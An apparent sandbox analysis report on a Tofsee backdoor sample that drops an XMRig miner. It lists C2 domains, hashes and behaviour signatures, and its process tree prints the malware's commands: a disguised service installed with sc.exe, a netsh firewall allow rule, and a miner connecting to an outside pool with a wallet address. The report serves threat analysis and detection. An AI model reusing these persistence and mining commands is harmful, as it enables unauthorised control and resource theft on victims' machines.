Analysis

  • max time kernel
    144s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/01/2023, 15:55

General

  • Target
    file.exe
  • Size 279KB
  • Sample230110-tcsdesge79
  • SHA256 0dbcbe0d262655aaff7088e3a8d238b4b3199eace60310601882fbc3b5a4ebcb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2952
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bjcercku\
      2⤵
        PID:4028
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\eyofigjs.exe" C:\Windows\SysWOW64\bjcercku\
        2⤵
          PID:2196
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bjcercku binPath= "C:\Windows\SysWOW64\bjcercku\eyofigjs.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4888
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bjcercku "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3984
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bjcercku
          2⤵
          • Launches sc.exe
          PID:812
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4148
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2952 -s 1424
          2⤵
          • Program crash
          PID:4624
      • C:\Windows\SysWOW64\bjcercku\eyofigjs.exe
        C:\Windows\SysWOW64\bjcercku\eyofigjs.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:220
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1432
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1712
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 544
          2⤵
          • Program crash
          PID:2996
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2952 -ip 2952
        1⤵
          PID:4684
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 220 -ip 220
          1⤵
            PID:3196

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                eyofigjs.exe

                • Path C:\Users\Admin\AppData\Local\Temp\eyofigjs.exe
                • Size 12.4MB
                • SHA256 5c92d5fe850f62321b99291e4941c56615a5066c510f9f183fa74dd7dbc07eb0
                • MD5 SHA1 SHA512 SSDEEP

                eyofigjs.exe

                • Path C:\Windows\SysWOW64\bjcercku\eyofigjs.exe
                • Size 12.4MB
                • SHA256 5c92d5fe850f62321b99291e4941c56615a5066c510f9f183fa74dd7dbc07eb0
                • MD5 SHA1 SHA512 SSDEEP

                memory/220-150-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/220-148-0x0000000002D79000-0x0000000002D89000-memory.dmp

                memory/1432-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                memory/1432-149-0x0000000000D20000-0x0000000000D35000-memory.dmp

                memory/1432-158-0x00000000023A0000-0x00000000023B0000-memory.dmp

                memory/1432-151-0x0000000000D20000-0x0000000000D35000-memory.dmp

                memory/1432-161-0x00000000023F0000-0x00000000023F5000-memory.dmp

                memory/1432-155-0x0000000002390000-0x0000000002396000-memory.dmp

                memory/1432-167-0x0000000002FD0000-0x0000000002FD7000-memory.dmp

                memory/1432-145-0x0000000000D20000-0x0000000000D35000-memory.dmp

                memory/1432-164-0x0000000007B00000-0x0000000007F0B000-memory.dmp

                memory/1712-171-0x00000000012E0000-0x00000000013D1000-memory.dmp

                memory/1712-176-0x00000000012E0000-0x00000000013D1000-memory.dmp

                memory/2952-143-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/2952-132-0x0000000002EFD000-0x0000000002F0D000-memory.dmp

                memory/2952-133-0x0000000002E50000-0x0000000002E63000-memory.dmp

                memory/2952-135-0x0000000000400000-0x0000000002BAD000-memory.dmp